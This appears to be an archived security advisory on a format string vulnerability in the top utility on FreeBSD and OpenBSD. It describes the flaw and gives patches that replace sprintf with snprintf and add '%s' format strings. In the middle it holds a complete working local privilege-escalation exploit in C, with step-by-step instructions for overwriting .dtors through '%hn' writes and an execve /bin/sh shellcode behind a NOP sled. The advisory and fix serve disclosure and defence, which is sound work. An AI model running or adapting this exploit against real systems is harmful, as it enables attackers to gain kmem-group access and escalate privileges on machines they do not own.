COMMAND
top
SYSTEMS AFFECTED
OpenBSD, FreeBSD
PROBLEM
Following is based on a FreeBSD-SA-00:62 Security Advisory and it
was originally found by vort via OpenBSD. top is a utility for
displaying current system resource statistics such as process CPU
and memory use. It is externally-maintained, contributed software
which is included in *BSD by default.
A "format string vulnerability" was discovered in the top(1)
utility which allows unprivileged local users to cause the top
process to execute arbitrary code. The top utility runs with
increased privileges as a member of the kmem group, which allows
it to read from kernel memory (but not write to it). A process
with the ability to read from kernel memory can monitor privileged
data such as network traffic, disk buffers and terminal activity,
and may be able to leverage this to obtain further privileges on
the local system or on other systems, including root privileges.
All released versions of FreeBSD prior to the correction date
including 4.0, 4.1, 4.1.1 and 3.5.1 are vulnerable to this
problem, but it was fixed in the 4.1.1-STABLE branch prior to the
release of FreeBSD 4.2-RELEASE. This has been fixed in OpenBSD
2.7 is some patch.
Local users can read privileged data from kernel memory which may
provide information allowing them to further increase their local
or remote system access privileges.
/*
* freebsd x86 top exploit
* affected under top-3.5beta9 ( including this version )
*
* 1. get the address of .dtors from /usr/bin/top using objdump ,
*
* 'objdump -s -j .dtors /usr/bin/top'
*
* 2. divide it into four parts, and set it up into an environment variable like "XSEO="
*
* 3. run top, then find "your parted addresses from "kill" or "renice" command like this
*
* 'k %200$p' or 'r 2000 %200$p'
*
* 4. do exploit !
*
* 'k %190u%230$hn' <== 0xbf (4)
* 'k %190u%229$hn' <== 0xbf (3)
* 'k %214u%228$hn' <== 0xd7 (2)
* 'k %118u%227$hn' <== 0x77 (1)
*
* truefinder , seo@igrus.inha.ac.kr
* thx mat, labman, zen-parse
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define NOP 0x90
#define BUFSIZE 2048
char fmt[]=
"XSEO="
/* you would meet above things from 'k %200$p', it's confirming strings*/
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
/* .dtors's address in BSD*/
"\x08\xff\x04\x08"
"\x09\xff\x04\x08"
"\x0a\xff\x04\x08"
"\x0b\xff\x04\x08"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
/* might shellcode be located 0xbfbfd6? ~ 0xbfbfde? */
char sc[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80"; /* bigwaks 23 bytes shellcode */
int
main(void)
{
char scbuf[BUFSIZE];
char *scp;
scp = (char*)scbuf;
memset( scbuf, NOP, BUFSIZE );
scp += ( BUFSIZE - strlen(sc) - 1);
memcpy( scp, sc ,strlen(sc));
scbuf[ BUFSIZE - 1] = '\0';
memcpy( scbuf, "EGG=", 4);
putenv(fmt);
putenv(scbuf);
system("/bin/bash");
}
SOLUTION
Remove the setgid bit on the top utilities. This has the
side-effect that users who are not a member of the kmem group or
who are not the superuser cannot use the top utility.
For FreeBSD:
1) Upgrade your vulnerable FreeBSD system to 4.1.1-STABLE or
3.5.1-STABLE after the respective correction dates
2000/10/04 (FreeBSD 4.1.1-STABLE) and 2000/10/04 (FreeBSD
3.5.1-STABLE)
2) Apply the patch below and recompile the relevant files:
# cd /usr/src/contrib/top
# patch -p < /path/to/patch_or_advisory
# cd /usr/src/usr.bin/top
# make depend && make all install
Index: display.c
===================================================================
RCS file: /mnt/ncvs/src/contrib/top/display.c,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -r1.4 -r1.5
--- display.c 1999/01/09 20:20:33 1.4
+++ display.c 2000/10/04 23:34:16 1.5
@@ -829,7 +831,7 @@
register int i;
/* first, format the message */
- (void) sprintf(next_msg, msgfmt, a1, a2, a3);
+ (void) snprintf(next_msg, sizeof(next_msg), msgfmt, a1, a2, a3);
if (msglen > 0)
{
Index: top.c
===================================================================
RCS file: /mnt/ncvs/src/contrib/top/top.c,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -r1.4 -r1.5
--- top.c 1999/01/09 20:20:34 1.4
+++ top.c 2000/10/04 23:34:16 1.5
@@ -807,7 +809,7 @@
{
if ((errmsg = kill_procs(tempbuf2)) != NULL)
{
- new_message(MT_standout, errmsg);
+ new_message(MT_standout, "%s", errmsg);
putchar('\r');
no_command = Yes;
}
Index: top.c
===================================================================
RCS file: /mnt/ncvs/src/contrib/top/top.c,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -r1.5 -r1.6
--- top.c 2000/10/04 23:34:16 1.5
+++ top.c 2000/11/03 22:00:10 1.6
@@ -826,7 +826,7 @@
{
if ((errmsg = renice_procs(tempbuf2)) != NULL)
{
- new_message(MT_standout, errmsg);
+ new_message(MT_standout, "%s", errmsg);
putchar('\r');
no_command = Yes;
}